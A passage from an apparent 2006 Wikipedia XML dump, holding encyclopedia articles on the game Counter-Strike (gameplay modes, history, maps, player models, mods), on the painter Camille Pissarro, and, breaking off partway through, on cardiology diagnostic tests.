''CS'' has been the most widely played online FPS for the past few years and has over 19.5 million legal owners. In [[2002]] there were over 30,000 ''Counter-Strike'' servers on the [[Internet]] (second place was ''[[Unreal Tournament]]'' with about 9,800). In [[2004]], [[GameSpy]] statistics showed over 85,000 players simultaneously playing ''Counter-Strike'' at any point in time, accounting for almost 70 percent of the online FPS audience. According to statistics gathered by Valve's content-delivery platform, [[Steam (content delivery)|Steam]] ([http://steampowered.com/status/game_stats.html 1]), these players contribute to over 4.5 billion minutes of playing time each month, making it the most popular online FPS in history. CS was originally played online through the [[WON]] gaming service, but it was shut down in [[2004]], forcing players to switch to Steam (although some players responded by creating their own WON network, dubbed [[WON2]]).

==Gameplay==
''Counter-Strike'' is a team-based FPS in which players join either the Terrorists (Ts) or the Counter-Terrorists (CTs). Server settings may automatically balance when one team has more players than the other. Each round starts with the two teams [[spawning (computer gaming)|spawning]] simultaneously, as one of eight different default character models (four to choose from for both Counter-Terrorist and Terrorist. ''[[Counter-Strike: Condition Zero]]'' added two extra models, bringing the total to ten). Each player generally starts with $800, two magazines of ammunition, a knife, and a pistol: a [[Heckler &amp; Koch USP]] .45 Tactical for CTs or a [[GLOCK 18]]c for Ts. Players are generally given a few seconds before the round begins (known as Freeze Time) to buy equipment but not move. Players may buy equipment whenever they are in a buy zone for their team (some of which can be for both teams) and the round has not been in session for longer than a specified time (90 seconds is default).  Surviving players retain their equipment in the next round; those who have died begin anew with pistol and knife.

[[Image:Counterstrike-comparison.jpg|right|thumb|412px|Picture of a Terrorist using a [[Desert Eagle]] on the map de_dust in the original (left) and Source (right) versions]]

Standard bonuses in the game are:
* Win a round: $3500
* Lose a round: $1500
* Kill an enemy: $300
* Talk to a hostage: $150
* Rescue a hostage: $1000
* Plant the bomb: $800

The scoreboard shows team scores plus data for each player: name, score, deaths, and ping/latency (ms) on the map. The scoreboard also shows whether each player is dead, carrying the bomb (in bomb defusal maps), or the VIP (in assassination maps), although the player must be dead during the round to obtain this information of players on the opposing team.

Players killed become &quot;ghosts&quot; for the duration of the round; they cannot change their names, nor can their chat/voice messages be received by the live players (unless the [[CVAR|cvar]] sv_alltalk is set to 1). They are generally able to watch the rest of the round from multiple selectable views, although some servers disable some of these views to prevent dead players from relaying information about living players to their teammates through alternative media (most notably voice in case of [[Internet cafe]]s and players in the same rooms of their own homes, playing on the same server). This technique, known as &quot;ghosting&quot;, is considered cheating in many tactical shooters.

''Counter-Strike'' is meant to be more realistic than futuristic FPSs such as ''[[Quake III Arena]]'' and ''[[Unreal Tournament]]'', but is also built to keep the action flowing faster than more realistic tactical shooters such as the ''[[Rainbow Six]]'' and ''[[Ghost Recon]]'' series. For example, relatively few shots will kill a player, and shots to different parts of the body inflict varying amounts of damage, but damage has no permanent bearing on ability to run or jump, allowing a player with just a few hit points remaining to keep fighting just as well as any other player. Movement, however, is restricted while taking damage from gunfire, and a player cannot run at full speed whilst taking damage.

There are several game types in ''Counter-Strike'' which define the objectives of each team in the game, and rules which determine which team wins. Each map is of a single game type.

===Bomb Defusal===
One randomly selected Terrorist begins the round carrying a bomb. The Terrorists' objective is to plant the bomb at a bomb site (of which there usually are two in a map, Bombsite-A or Bombsite-B), and ensure its detonation. If the bomb has not been planted, if all the members of one team have been eliminated, then the surviving team wins. If the bomb has been planted and proceeds to explode, the Terrorists win, but if a Counter-Terrorist defuses the bomb (Counter-Terrorists can purchase an optional kit to speed up defusal times), the Counter-Terrorists win. When the round time expires, the Counter-Terrorists win. Deaths due to the detonation of the bomb do not increment the player's death count. Maps of this type are prefixed with ''de_'' (e.g. [[de_dust]] and [[de_inferno]]). Professional tournaments are normally only played in Bomb Defusal maps.

===Hostage Rescue===
The map has [[Hostage|hostages]] (usually four) generally placed near the Terrorist base. The Counter-Terrorists' objective is to escort the hostages to a hostage rescue point on the map. If all the members of a team have been eliminated, the prevailing team wins. If all the surviving hostages have been rescued, and that number is at least half of the initial hostage count, then the Counter-Terrorists win, and each Counter-Terrorist is awarded $2400. When round time expires, Terrorists win. Therefore, the game may effectively become a 'Terrorist hunt' game if enough hostages are killed, although server settings may be such that players are disconnected (kicked) from the server after killing a certain number of hostages (5 is default). When a Counter-Terrorist 'uses' a hostage (i.e. begins to rescue them), the Counter-Terrorist is awarded $150. Upon successfully escorting a hostage to a rescue point, $1000 is awarded. Killing a hostage incurs a penalty of $2250. There is also a penalty associated with injuring a hostage by gun fire or grenade shrapnel (hostages do not take damage for falling). Maps of this type are prefixed with ''cs_'' (e.g. [[cs_office]]).

===Assassination===
In this mission, one Counter-Terrorist member chooses to become a VIP, a player with 200 units of Kevlar and nothing more than the Counter-Terrorist standard-issue USP pistol with one extra magazine. The VIP may not pick up dropped weapons other than the VIP's own pistol. The VIP's objective is to reach an extraction zone (1, normally), in which case the Counter-Terrorists win. If the VIP dies, the Terrorists win. As usual, if all Terrorists die, the Counter-Terrorists win. When time expires, Terrorists win. The lack of ammunition for the pistol means that a VIP should not expect to escape without the team's assistance; however, the pistol in conjunction with the special armour provides adequate protection. Maps of this type are prefixed with ''as_''.  Assassination maps are the least played of the three types of ''Counter-Strike'' gameplay and they were not ported to ''Counter-Strike: Source'', although a ''[http://vipmod.punkassfraggers.com/ VIP mod]'' is being produced by the community for ''Counter-Strike Source'' and surprisingly for some, is being greatly anticipated. Members of the community who dislike the scenario argue that  the Terrorists would just [[Camping (computer gaming)|camp]] at the VIP's escape destination, shooting the VIP dead as he attempted the run to the exit.

===Escape===
Discontinued in the late-beta releases of ''Counter-Strike'', this gameplay style put Terrorists against Counter-Terrorists in an escape-before-the-clock-expired mission.  The Terrorists started in a position relatively far away from the Counter-Terrorists, armed with only knives and Glocks and unable to purchase additional weaponry/equipment.  Weapons, armour, and grenades were placed in hidden locations near or around the spawn point of the Terrorists; the objective was for the Terrorists to secure weapons at the hidden location and then have all living members of the team reach an escape point before the clock ran out; eliminating all Counter-Terrorists would not complete the mission by itself.  The Counter-Terrorists' objective was to prevent the escape of the Terrorists. Escape was discontinued because such maps gave an edge towards Counter-Terrorists. Maps of this type are prefixed with ''es_''. While not included in the current ''Counter-Strike'' distribution, this mode can still be played. The most popular maps of this type are es_jail, es_riverside, es_frantic, and es_trinity.  This mode is not found in ''Counter-Strike: Source.''

== History ==
&lt;div class=&quot;toccolours&quot; style=&quot;width:256px; float:right; margin-left: 1em;&quot;&gt;
&lt;p align=&quot;center&quot;&gt;'''Version history'''&lt;/p&gt;
*Beta 1.0 - [[19 June]] [[1999]]
*Beta 1.1 - [[27 June]] [[1999]]
*Beta 1.2 - [[20 July]] [[1999]]
*Beta 2.0 - [[13 August]] [[1999]]
*Beta 2.1 - [[17 August]] [[1999]]
*Beta 3.0 - [[14 September]] [[1999]]
*Beta 3.1 - [[16 September]] [[1999]]
*Beta 4.0 - [[5 November]] [[1999]]
*Beta 4.1 - [[1 December]] [[1999]]
*Beta 5.0 - [[23 December]] [[1999]]
*Beta 5.2 - [[10 January]] [[2000]]
*Beta 6.0 - [[10 March]] [[2000]]
*Beta 6.1 and 6.2 were &quot;Server Only&quot; updates, not for client/user machines
*Beta 6.5 - [[5 June]] [[2000]]
*Beta 6.6 - [[22 June]] [[2000]]
*Beta 7.0 - [[26 August]] [[2000]]
*Beta 7.1 - [[13 September]] [[2000]]
*Version 1.0 - [[8 November]] [[2000]]
*Version 1.1 - [[10 March]] [[2001]]
*Version 1.3 - [[19 September]] [[2001]]
*Version 1.4 - [[24 April]] [[2002]]
*Version 1.5 - [[12 June]] [[2002]]
*Version 1.6 - [[15 September]] [[2003]]
*''[[Counter-Strike: Condition Zero|CS: Condition Zero]]'' - [[23 March]] [[2004]]
*''[[Counter-Strike: Source|CS: Source]]'' - [[7 October]] [[2004]]
&lt;/div&gt;
The ''Counter-Strike'' team was formed by [[Minh Le]] (&quot;Gooseman&quot;) and [[Jess Cliffe]] (&quot;Cliffe&quot;) in [[1999]]. Prior to CS &quot;Goose&quot; had gained a lot of experience with modelling and textures while working on the 1997 Quake1 mod [http://www.planetgargoyle.com/lost/quake.htm Navy Seals] the earliest precursor to CS, it featured modern day weapons, body-armour and tactical gameplay. When QuakeII was released he worked on another highly successful mod called [http://action.telefragged.com/ Action Quake2], again with modern weapons and tactical gameplay, this time set in a world of SWAT vs. gangsters, possibly inspired by the movie [http://www.imdb.com/title/tt0105236/ Reservoir Dogs] However, the time wasn't right for global internet gaming just yet, the online community was still relatively small. No cost-effective broadband and in most countries paying for access by the minute limited the audience somewhat. With the massive global success of Half-Life, the premature death of the large [[Quakeworld]] and Quakeworld [[Team Fortress]] scenes and the widespread adoption of &quot;unmetered&quot; internet access ''Counter-Strike'''s timing was perfect. Beta 1.0 was released in June 1999, followed by a relatively quick succession of the beta releases (by the end of 1999, beta 5.0 had been released). CS gained in popularity just as rapidly. The ''Counter-Strike'' team was acquired by Valve to turn the fan-created mod into an official mod for ''Half-Life''. In November [[2000]], ''Counter-Strike'' 1.0 &amp;mdash; the first non-beta, official retail version of the game &amp;mdash; was released. The retail version was a standalone alternative that does not include or require ''Half-Life''; alternatively, existing ''Half-Life'' owners can download the ''Counter-Strike'' mod free. Later, ''Counter-Strike'' was bundled with ''Half-Life'' and several other expansions in the Platinum Pack. The newest version of CS was labeled Source, released in November 2004 through Valve's new distribution platform called [[Steam (content delivery)|Steam]].  Counter Strike:Source was developed using the new Half Life 2 enhanced graphics and physics engine (Source).

Valve has also been attempting to cash in on the game's popularity by producing more ''Counter-Strike'' games. Valve released a version [[porting|ported]] to the [[Xbox]] [[game console]] in November 2003. It features basic single-player gameplay against [[Computer_game_bot|bots]], but it focuses on multiplayer online play like the original. However, the Xbox version of the game (playable on Microsoft's [[Xbox Live]] online game service) has proved less successful than its PC counterpart for obvious reasons; the online ''Counter-Strike'' audience for Xbox is well outnumbered by the existing ''Counter-Strike'' PC community, a subscription cost required to pay online on Live (playing the PC version online is free), and mediocre graphics (only texture upgrades to original CS models) which are below what is expected for the Xbox. For similar reasons, Valve may have made no attempt to have ''Counter-Strike'' ported to the [[PlayStation 2]].
			
===''Counter-Strike: Condition Zero''===
{{main|Counter-Strike: Condition Zero}}
A long-awaited single-player version of the game called ''Counter-Strike: Condition Zero'' was released on [[March 23]], [[2004]]. It had been plagued by numerous delays, most notably when Valve dropped [[Gearbox Software]] (who had developed the highly acclaimed ''[[Half-Life: Opposing Force]]'') as developer in favor of [[Ritual Entertainment]], and when Ritual Entertainment in turn lost the project to [[Turtle Rock Studios]] partway through development.

Though still very similar to CS 1.6, ''Condition Zero'' contains several graphical, sound, model and map changes, as well as including [[computer game bot|bots]]. However, the game was criticized for not being up to the standards of graphical quality expected of current commercial releases, due to the limitations of [[1998]]'s [[GoldSrc]] ''Half-Life'' engine. It sold poorly compared to the original.

===Counter-Strike: Source (CS:S)===
{{main|Counter-Strike: Source}}
In 2004, original ''Counter-Strike'' developers Minh Le and Jess Cliffe, along with members of Valve and the ''Day of Defeat'' team, brought ''Counter-Strike'' into the [[Source engine]] as an obvious choice for the multiplayer component of ''Half-Life 2''. Following a period when the game was available to select 'beta' testers, the alpha version of the game was released on October 7th 2004.

''Counter-Strike: Source'' (CS:S) was released to [[ATI Technologies|ATI Radeon]] Voucher holders, in ''Half-Life 2'' bundles available on ''Steam'', and with the boxed retail version of the game. Changes include the improvements inherent to the Source engine (such as better graphics and physics) as well as updated models, animations, maps, sounds, and some small gameplay changes. It is available today for download over ''Steam'', bundled with ''Half-Life 2'', or purchased in a stand-alone retail box along with ''[[Day of Defeat: Source]]'', another game converted to the new graphical engine.

==Map types==
{{main|Counter-Strike maps}}
There are three official types of maps in ''Counter-Strike'', along with many more user-created types. The three official types include &quot;cs_&quot; (Hostage rescue), &quot;de_&quot; (Bomb defusal), and &quot;as_&quot; (Assassination). In earlier beta versions of the game another official type called &quot;es_&quot; (Terrorist Escape) also existed.

===List of Official Counter-Strike 1.6 maps===
{|
|- valign =&quot;top&quot;
|
*[[as_oilrig]]
*[[cs_747]]
*[[cs_assault]]
*[[cs_backalley]]
*[[cs_estate]]
*[[cs_havana]]
*[[cs_italy]]
*[[cs_militia]]
|
|	 
|
*[[cs_office]]
*[[cs_siege]]
*[[de_airstrip]]
*[[de_aztec]]
*[[de_cbble]]
*[[de_chateau]]
*[[de_dust]]
*[[de_dust2]]
|
|
|
*[[de_inferno]]
*[[de_nuke]]
*[[de_piranesi]]
*[[de_prodigy]]
*[[de_storm]]
*[[de_survivor]]
*[[de_torn]]
*[[de_train]]
*[[de_vertigo]]
|
|
|}

===List of Commonly Played Counter-Strike 1.6 maps (Unofficial)===

*de_rats
*[[fy_iceworld]]
*fy_pool_day
*fy_snow
*ka_roadwars_v2
*scoutzknivez
*surf_egypt
*awp_map

==Player models==
Corresponding player models for both Terrorists and Counter-Terrorists have appeared through development. The following eight are the original models which were to be (or are in the process of being) reproduced in ''[[Counter-Strike: Condition Zero]]'' and ''[[Counter-Strike: Source]]''. ''Condition Zero'' also added two additional models; the Midwest Militia for Terrorists and the [[Spetsnaz]] for Counter-Terrorists.

On the matter of the best model for competitive play in ''Counter-Strike'', [http://whisper.ausgamers.com/wiki/index.php/Warstrats Whisper's Wiki] recommends that:

&lt;blockquote&gt;Firstly, all players on one team should choose the same skin. As Terrorists you should choose the Elite Crew model. And as Counter-Terrorists, the [[GIGN]] model. &quot;5 guys popping in and out 1 at a time will look like the 1 guy if you all have the same skin. 
Elite Crew is the skinniest and hardest to see model most of the time, and the [[GIGN]] model has the smallest head for Counter-Terrorists.&quot;&lt;/blockquote&gt;

===Counter-Terrorist models===

All names are taken from real groups.
*'''[[SEAL Team 6]]''' - First appeared in initial CS beta - &quot;ST-6 (to be later known as [[DEVGRU]]) was founded in 1980 under the command of Lieutenant-Commander [[Richard Marcinko]]. ST-6 was placed on permanent alert to respond to terrorist attacks against American targets worldwide.&quot;
*'''[[GSG 9]]''' - Added in CS beta 6 - &quot;GSG 9 was formed out of the tragic events that led to the death of several Israeli athletes during the [[Munich massacre|1972 Olympic games]] in [[Munich]], Germany.&quot;
*'''SAS ([[Special Air Service]])''' - Added in CS beta 5 - &quot;World-renowned British SAS was founded in the Second World War by a man named [[David Stirling]]. Their role in WW2 involved [[miltary intelligence|intelligence]] gathering behind enemy lines and executing sabotage strikes and assassinations against key targets.&quot;
*'''[[GIGN]]''' - Added in CS beta 3 - &quot;France's elite counter-terrorist group, the GIGN, was designed to be a fast response force that could decisively react to any large-scale terrorist incident. Consisting of no more than 100 men, the GIGN has earned its reputation through a history of successful ops.&quot;

===Terrorist models===

All (understandably) fictional.
*'''Phoenix Connexion''' - First appeared in initial CS beta - &quot;Having established a reputation for killing anyone who gets in their way, the Phoenix Connexion is one of the most feared terrorist groups in eastern Europe. Formed shortly after the breakup of the [[USSR]].&quot;
*'''Elite Crew''' ('''L337 Krew''' prior to CS 1.6) - Added in CS beta 3 - &quot;Middle Eastern fundamentalist group bent on world domination and various other evil deeds.&quot; 
*'''Arctic Avengers''' - Added in CS beta 6 - &quot;Swedish terrorist faction founded in 1977. Infamous for their bombing of the [[Canadian]] embassy in 1990.&quot;
*'''Guerilla Warfare''' - Added in CS beta 6.5 - &quot;A terrorist faction founded in the Middle East, this group has a reputation for ruthlessness. Their disgust for American lifestyle was demonstrated in their 1982 bombing of a school bus full of [[Rock and Roll]] musicians.&quot;

===Other models===
*'''Hostage''' - used in maps prefixed 'cs_' (eg: [[cs_italy]]).
*'''VIP''' - Used in maps prefixed 'as_' (eg: [[as_oilrig]]).

== Culture ==
{{main|Counter-Strike culture}}
''Counter-Strike'' is famous for the culture surrounding it, which includes everything from professional gamers and leagues, to excessive cheating and disruptive behavior. Certain professional teams (such as [[SK Gaming|SK]], [[Team 3D]] and [[Team NoA]]) and players ([[Kyle Miller|Ksharp]] and [[Emil Christensen|HeatoN]], for example) have achieved a measure of fame.
&lt;!-- DO NOT ADD your clan or your favorite CS player here without discussing it on the Talk page first. If you add something without discussing it first, it will be reverted, no questions asked. Note that the clans and players listed above are professionals and have Wikipedia pages - if your page cannot survive on Wikipedia, it is unlikly that it will stay on this page either. Click the &quot;Discuss this page&quot; link to start a discussion on why you think your clan or favorite player should be added. --&gt;

== Legacy of ''Counter-Strike'' ==
While ''Counter-Strike'' is nowadays perhaps the most professionally played computer game in the world behind ''[[StarCraft]]'' in [[South Korea]], most players simply ignore the professional side of the game and play for fun. The success of the game among both casual and competitive players highlights the wide appeal of ''Counter-Strike'''s simple game model. ''Counter-Strike'' has had a colorful and dramatic history which reaches far beyond what this document could hope to cover, and still remains extremely popular to this day.

''Half-Life'' and other contemporary games took full advantage of the advent of hardware graphics acceleration in the late [[1990s]], replacing earlier software-rendered games such as ''[[Quake]]''. Likewise, gamers were expected to abandon the [[DirectX]] 5.0 ''Half-Life'' and its mods in favour of games utilising the [[Transform and lighting|hardware T&amp;L]] capabilities of DirectX 7.0 graphics cards such as the [[Nvidia]] [[GeForce]] and [[ATI Technologies|ATI]] [[Radeon]]. However, the universal shift to the DirectX 7.0 level and beyond has not happened, and the continued popularity of CS has given older video cards such as the [[3dfx]] Voodoo 3, ATI Rage 128, and Nvidia [[RIVA TNT2]] continued usefulness. Indeed, one possible reason for ''Counter-Strike''&lt;nowiki&gt;'&lt;/nowiki&gt;s continued popularity is that almost any PC made since 1997 can play it since the game does not need the powerful CPU and video card required of many current FPS games.

But as the the criticisms of ''Condition Zero'' showed, many players feel that the [[GoldSrc]] engine has reached its limits in its capacity to evolve and to stay updated. ''Counter-Strike'' was realistic for its time, but is dated in comparison to more recent [[first-person shooter|first-person]] [[tactical shooter]]s. There is a growing frustration that the developers are unwilling to make official changes or add new features, maintaining the same map layouts and weapons to appease longtime CS players. Even ''Counter-Strike: Source'' has been criticised for not progressing the gameplay enough and failing to take full advantage of the [[Source engine]].

There have been a multitude of games claimed by their developers, reviewers and fans to be &quot;''Counter-Strike'' killers&quot;, but none have seriously been able to dent its overall popularity. Server statistics in 2002 showed that ''Counter-Strike'' servers outnumbered their ''Battlefield'', ''[[Unreal Tournament 2003]]'' or ''Quake III'' FPS counterparts at least 3 to 1. The prohibitively expensive cost of an up-to-date gaming PC makes it unlikely that another game will become as popular as ''Counter-Strike'' has been.

== Mods and scripts ==
Even though ''Counter-Strike'' is itself a mod, it developed its own community of script writers and modders. There have been many different mods and scripts to:
# Add [[Computer_game_bot|bots]] to make a LAN game multiplayer although there is only one computer
# Improve gameplay
# Remove features of the games which players felt were annoying
# Give players superhuman powers (powers from units in ''[[Warcraft III]]'', for example.)
# Make the game more humorous
# Create different modes of play
# Control players not following set rules
# Keep track of player statistics and scores
# Provide options for weapon improvement (AKA Skinning: Affects the way guns look and sound to the user but remain unchanged to anyone else in the game. Only the user sees the differences. The weapon's attributes remain the same.)
# Give server administrators more flexible and efficient control over his/her server. &quot;Admin plugins&quot;, as they are mostly referred as, have become very popular. One of the most successful, if not the only one, &quot;Mani Admin Plugin&quot;, is met on nearly every dedicated server nowadays. Features include: varieties of teamkill punishes, auto-kick by certain triggers, rank system, advanced map changing and voting etc.
See [[Metamod]], [[AMX Mod]] and [[AMX Mod X]] for more information.

==Criticisms==

''Counter-Strike'' has been criticised for its lack of realism, despite the fact it was originally popular for being realistic. While it falls squarely into the [[tactical shooter]] category, the mod features some inaccuracies. The weapons are also notably inaccurate for the ranges they fire at: most engagements in ''Counter-Strike'' occur at less than 100 meters. The [[M249 SAW]]'s rate of fire is much too slow, and many of the game's weapons have artificial sound effects. Perhaps the most notable  criticism is the fact that weapons firing the same round (for instance, the [[MP5]] and [[Glock 18]] both fire a 9mm round) do vastly different damages. Also, the [[M4A1]] weapon model's animation features the player charging the weapon by pulling backwards on the [[forward assist]], a feat impossible in real life. The [[Glock 18|GLOCK 18C]] fires in a fully automatic mode; in the mod it only fires a three round burst.

However, these objects of criticism of realism are, for the most part, accepted in the community as necessary sacrifices that promote balance in the game.

==See also==
* [[Counter-Strike equipment|''Counter-Strike'' equipment]]
* [[Counter-Strike maps|''Counter-Strike'' maps]]
* [[List of Counter-Strike Maps]]
* [[Counter-Strike culture|''Counter-Strike'' culture]]
* [[Broken Arms Gordon]] - a graphical glitch that occurs during recorded playback
* [[Cheating in Counter-Strike|Cheating in ''Counter-Strike'']]
* ''[[Half-Life]]''
* [[Steam (content delivery)|Steam]]
* [[List of Half-Life mods|List of ''Half-Life'' mods]]
* ''[[Counter-Strike: Condition Zero]]''
* ''[[Counter-Strike: Source]]''
* ''[[Counter-Strike Neo]]''
* [[First-person shooter]]

== External links ==
; Official websites
* [http://www.counter-strike.net/ ''Counter-Strike'']
* [http://www.cs-conditionzero.com/ ''Counter-Strike: Condition Zero'']
* [http://www.counterstrikesource.com/ ''Counter-Strike: Source'']
* [http://www.steampowered.com/ Steam]

; Community Sites
* [http://www.csnation.net/ CS-Nation] &amp;mdash; Longest running ''Counter-Strike'' News site
* [http://fpsbanana.com ''FPSBANANA''] &amp;mdash; Custom content for ''Counter-Strike''.

; Competitive Counter-Strike
* [http://www.caleague.com/ The Cyberathlete Ameteur League]
* [http://www.thecpl.com/ The Cyberathlete Professional League]
* [http://www.gotfrag.com/cs/ GotFrag?] &amp;mdash; Coverage of Counter-Strike related events in the world of [[electronic sports]]

{{Half-Life}}

[[Category:Counter-Strike| ]]
[[Category:Electronic sports]]

[[da:Counter-Strike]]
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[[ja:カウンターストライク]]
[[no:Counter-Strike]]
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[[sr:Каунтер Страјк]]
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[[zh:反恐精英]]</text>
    </revision>
  </page>
  <page>
    <title>Camille Pissarro</title>
    <id>7434</id>
    <revision>
      <id>41038443</id>
      <timestamp>2006-02-24T17:32:34Z</timestamp>
      <contributor>
        <ip>24.8.178.36</ip>
      </contributor>
      <comment>switched word order in &quot;portuguese sephardic jew&quot;.</comment>
      <text xml:space="preserve">[[Image:Pissarro.gardenatpont.750pix.jpg|thumb|250px|'''The garden at Pontoise''', painted 1877.]]
'''Camille Pissarro''' ([[July 10]] [[1830]] &amp;ndash; [[November 13]] [[1903]]) was a French [[impressionist]] [[painter]].

Camille Jacob Pissarro was born in [[Charlotte Amalie]], [[Saint Thomas, United States Virgin Islands|St. Thomas]] to Abraham Gabriel Pissarro, a [[Portuguese people|Portuguese]]  [[Sephardi|Sephardic Jew]], and Rachel Manzano-Pomié, from the [[Dominican Republic]]. Pissarro lived in St. Thomas until age 12, when he went to a boarding school in [[Paris]]. He returned to St. Thomas where he drew in his free time.  In 1852, he travelled to [[Venezuela]] with the Danish artist [[Fritz Melbye]]. In 1855, he moved to Paris, where he studied with the French landscape artist [[Jean-Baptiste Camille Corot]].

Known as the ''Father of Impressionism,'' he painted rural French life, particularly landscapes and workers in the fields as well as scenes from [[Montmartre]]. He then went to Paris to teach, where some of his students were Californian Impressionist [[Lucy Bacon]] , [[Paul Cezanne]] and [[Paul Gauguin]]. 

His influence on the Impressionists is probably still underrated; not only were many of the ideas his own, but he also managed to remain on friendly, mutually respectful terms with such difficult personalities as [[Edgar Degas]], Cézanne and Gauguin. Although generally seen as a minor Impressionist, Pissarro exhibited at all eight of the Impressionist exhibitions. Moreover, whereas [[Monet]] was the main practitioner of the Impressionist style, Pissarro may have been the main thinker in the development of Impressionist theory.

Probably the strength of Pissarro's mind got rather in the way of his painting as he felt the need to try out all new forms of painting as they came along, thus he painted in the [[Neo-impressionism |Neo-Impressionist]] form between 1885 and 1890, before returning to a more pure Impressionism before the end of his life.

[[Image:Camille.jpg|thumb|left|Pisarro's ''Pallette with a Landscape'', c. 1878.]] In March [[1893]], Paris Gallery Durand-Ruel organized a major exhibition of 46 of Pissarro's works along with 55 others by [[Antonio de La Gandara]]. But while the critics acclaimed Gandara, their appraisal of Pissarro's art was less enthusiastic.

He died in [[Éragny-sur-Epte]] on either [[November 12]] or [[November 13]], [[1903]] and was buried in [[Père Lachaise Cemetery]] in Paris.

During his lifetime, Camille Pissarro sold few of his paintings. By 2005, however, some Pissarro paintings sold for around [[United States dollar|$]]4 million.

==See also==
* ''[[Hay Harvest at Éragny]]''

==External links==
{{Commonscat|Camille Pissarro}}
*[http://www.abcgallery.com/P/pissaro/pissaro.html Camille Pissarro at Olga's Gallery]
*[http://libcom.org/history/articles/1830-1903-camille-pissarro/index.php Libcom.org/history: Camille Pissarro political biography]


[[Category:1830 births|Pissaro, Camille]]
[[Category:1903 deaths|Pissaro, Camille]]
[[Category:French painters|Pissarro, Camille]]
[[Category:Impressionist painters|Pissarro, Camille]]
[[Category:Jewish painters|Pissarro, Camille]]

&lt;!--Interlanguage links--&gt;
[[de:Camille Pissarro]]
[[es:Camille Pissarro]]
[[eo:Camille PISSARRO]]
[[fr:Camille Pissarro]]
[[ko:카미유 피사로]]
[[it:Camille Pissarro]]
[[he:קאמי פיסארו]]
[[nl:Camille Pissarro]]
[[ja:カミーユ・ピサロ]]
[[no:Camille Pissarro]]
[[nn:Camille Pissarro]]
[[pl:Camille Pissarro]]
[[pt:Camille Pissarro]]
[[ro:Camille Pissarro]]
[[ru:Писсарро, Камиль]]
[[sv:Camille Pissarro]]
[[zh:卡米耶·畢沙羅]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiology diagnostic tests and procedures</title>
    <id>7435</id>
    <revision>
      <id>41026319</id>
      <timestamp>2006-02-24T15:58:30Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Hypoxia]] to [[Hypoxia (medical)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">The '''diagnostic tests in cardiology''' are methods of identifying [[heart]] conditions associated with healthy vs. unhealthy, [[pathology|pathologic]], [[heart]] function.

==Bedside==

===History===
Obtaining a [[medical history]] is always the first &quot;test&quot;, part of understanding the likelihood of significant disease, as detectable within the current limitations of clinical medicine. Yet heart problems often produce no symptoms until very advanced, and many symptoms, such as palpitations and sensations of extra or missing heart beats correlate poorly with realtive heart health ''vs'' disease. Hence, a history alone is rarely sufficient to diagnose a heart condition.

===Auscultation===
''[[Auscultation]]'' employs a [[stethoscope]] to more easily hear various normal and abnormal sounds, such as normal heart beat sounds and the usual heart beat sound changes associated with breathing versus [[heart murmur]]s.

==Laboratory==
===Blood tests===
A variety of ''[[blood test]]s'' are available for analyzing [[cholesterol]] transport behavior, [[High density lipoprotein|HDL]], [[Low density lipoprotein|LDL]], [[triglyceride]]s, [[lipoprotein little a]], [[homocysteine]], [[C-reactive protein]], blood sugar control: fasting, after eating or averages using glycosylated albumen or hemoglobin, [[myoglobin]], [[creatine kinase]], [[troponin]], [[brain-type natriuretic peptide]], etc. to assess the evolution of [[coronary artery disease]] and evidence of existing damage. A great many more [[physiology|physiologic]] markers related to [[atherosclerosis]] and [[heart]] function are used and being developed and evaluated in [[research]].

==Electrophysiology==
===Electrocardiogram===
''[[Electrocardiography]]'' (ECG/EKG) monitors [[electricity|electrical]] activity of the [[heart]], primarily as recorded from the skin surface. A 12 lead recording, 6 for the front plane and 6 for the lower chest crossectional plane, is the most commonly used form.

===Holter monitor===
A ''[[Holter monitor]]'' records a continuous EKG rhythm pattern (rarely a full EKG) for 24 hours or more. These monitors are used for suspected frequent rhythm abnormalities, especially ones the wearer may not recognize by symptoms. They are more expensive than event monitors.

===Event monitor===
An ''[[Event monitor]]'' records short term EKG rhythm patterns, generally storing the last 2 to 5 minutes, adding in new &amp; discarding old data, for 1 to 2 weeks or more. There are several different types with different capabilities. When the wearer presses a button on the monitor, it quits discarding old and continues recording for a short additional period. The wearer then plays the recording, via a standard phone connection, to a center with compatible receiving and rhythm printing equipment, after which the monitor is ready to record again.  These monitors are used for suspected infrequent rhythm abnormalities, especially ones the wearer does recognize by symptoms.  They are less expensive than Holter monitors.

===Cardiac stress testing===
''[[Cardiac stress testing]]'' is used to determine to assess cardiac function and to disclose evidence of exertion-related cardiac [[Hypoxia (medical)|hypoxia]]. [[Radionuclide test]]ing using [[thallium]] or [[technetium]] can be used to demonstrate areas of perfusion abnormalities.

==Medical imaging==
===Coronary catheterization===
''[[Coronary catheterization]]'' uses [[pressure]] monitoring and blood sampling through a [[catheter]] inserted into the [[heart]] through blood vessels in the leg to determine the functioning of the [[heart]], and, following injections of [[radiocontrast dye]], uses [[X-ray fluoroscopy]], typically at 30 frame/s, to visualize the position and size of blood of within the [[heart]] chambers and [[artery|arteries]]. [[Coronary angiography]] is used to determine the patency and configuration of the [[coronary artery]] [[lumen]]s. 

===Echocardiogram===
''[[Echocardiography]]'' uses [[ultrasonic]] waves for continuous [[heart]] chamber and [[blood]] movement visualization.

===Intravascular ultrasound===
''[[Intravascular ultrasound]]'', an imaging methodology using specially designed, long, thin, complex manufactured [[catheter]]s attached to computerized [[ultrasound]] equipment to visualize the [[lumen]] and the interior wall of [[blood vessel]]s.

===Positron emission tomography===
''[[Positron emission tomography]]'', an imaging methodology for [[positron]] emitting [[radioisotopes]]. PET enables visual image analysis of multiple different metabolic chemical processes and is thus one of the most flexible imaging technologies. Cardiology uses are growing very slowly due to technical and relative cost difficulties. Most uses are for [[research]], not [[clinical]] purposes. Appropriate [[radioisotopes]] of elements within chemical compounds of the [[metabolic]] pathway being examined are used to make the location of the chemical compounds of interest visible in a PET scanner constructed image.

===Computed axial tomography===
